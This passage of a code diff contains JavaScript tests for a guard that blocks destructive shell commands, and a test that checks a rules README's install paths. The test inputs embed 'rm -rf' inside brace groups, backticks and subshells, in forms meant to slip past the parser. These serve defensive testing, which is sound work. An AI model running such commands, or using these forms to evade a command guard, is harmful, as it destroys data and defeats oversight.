// a `}` inside one of those does not terminate the brace group
// early, plus the nested `{` boundary rule.
if (test('denies rm -rf in brace group with backtick containing }', () => {
expectDestructiveDeny('{ echo `echo }`; rm -rf /tmp/junk; }',
'brace + backtick containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with $() containing }', () => {
expectDestructiveDeny('{ echo $(echo "}"); rm -rf /tmp/junk; }',
'brace + $() containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with nested () containing }', () => {
expectDestructiveDeny('{ (echo "}"); rm -rf /tmp/junk; }',
'brace + () containing }');
})) passed++; else failed++;
if (test('denies rm -rf in brace group with $() body containing }', () => {
expectDestructiveDeny('{ x=$(echo a}b); rm -rf /tmp/junk; }',
'brace + $() body with }');
})) passed++; else failed++;
if (test('denies rm -rf when token like foo{ appears before brace group close', () => {
// tokens like `foo{` are not reserved-word `{` (no boundary,
// no whitespace after) — must not bump nested-depth and so
// must not delay brace-group close
expectDestructiveDeny('{ echo foo{bar; rm -rf /tmp/junk; }',
'foo{ token inside brace body');
})) passed++; else failed++;
// Cleanup only the temp directory created by this test file. // Cleanup only the temp directory created by this test file.
try { try {
if (fs.existsSync(stateDir)) { if (fs.existsSync(stateDir)) {
@@ -7,6 +7,7 @@ const fs = require('fs');
const path = require('path'); const path = require('path');
const README = path.join(__dirname, '..', '..', 'README.md'); const README = path.join(__dirname, '..', '..', 'README.md');
const RULES_README = path.join(__dirname, '..', '..', 'rules', 'README.md');
function test(name, fn) { function test(name, fn) {
try { try {
@@ -27,6 +28,7 @@ function runTests() {
let failed = 0; let failed = 0;
const readme = fs.readFileSync(README, 'utf8'); const readme = fs.readFileSync(README, 'utf8');
const rulesReadme = fs.readFileSync(RULES_README, 'utf8');
if (test('README marks one default path and warns against stacked installs', () => { if (test('README marks one default path and warns against stacked installs', () => {
assert.ok( assert.ok(
@@ -138,6 +140,29 @@ function runTests() {
); );
})) passed++; else failed++; })) passed++; else failed++;
if (test('rules README mirrors ECC namespaced install path', () => {
assert.ok(
rulesReadme.includes('mkdir -p ~/.claude/rules/ecc'),
'rules README should create the ECC-owned user-level rules namespace'
);
assert.ok(
rulesReadme.includes('cp -r rules/common ~/.claude/rules/ecc/'),
'rules README should copy common rules under ~/.claude/rules/ecc/'
);
assert.ok(
rulesReadme.includes('cp -r rules/typescript ~/.claude/rules/ecc/'),
'rules README should copy language rules under ~/.claude/rules/ecc/'
);
assert.ok(
rulesReadme.includes('mkdir -p .claude/rules/ecc'),
'rules README should document the project-local ECC namespace'
);
assert.ok(
!rulesReadme.includes('~/.claude/rules/typescript'),
'rules README should not recommend flat user-level rule destinations'
);
})) passed++; else failed++;
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`); console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
process.exit(failed > 0 ? 1 : 0); process.exit(failed > 0 ? 1 : 0);
} }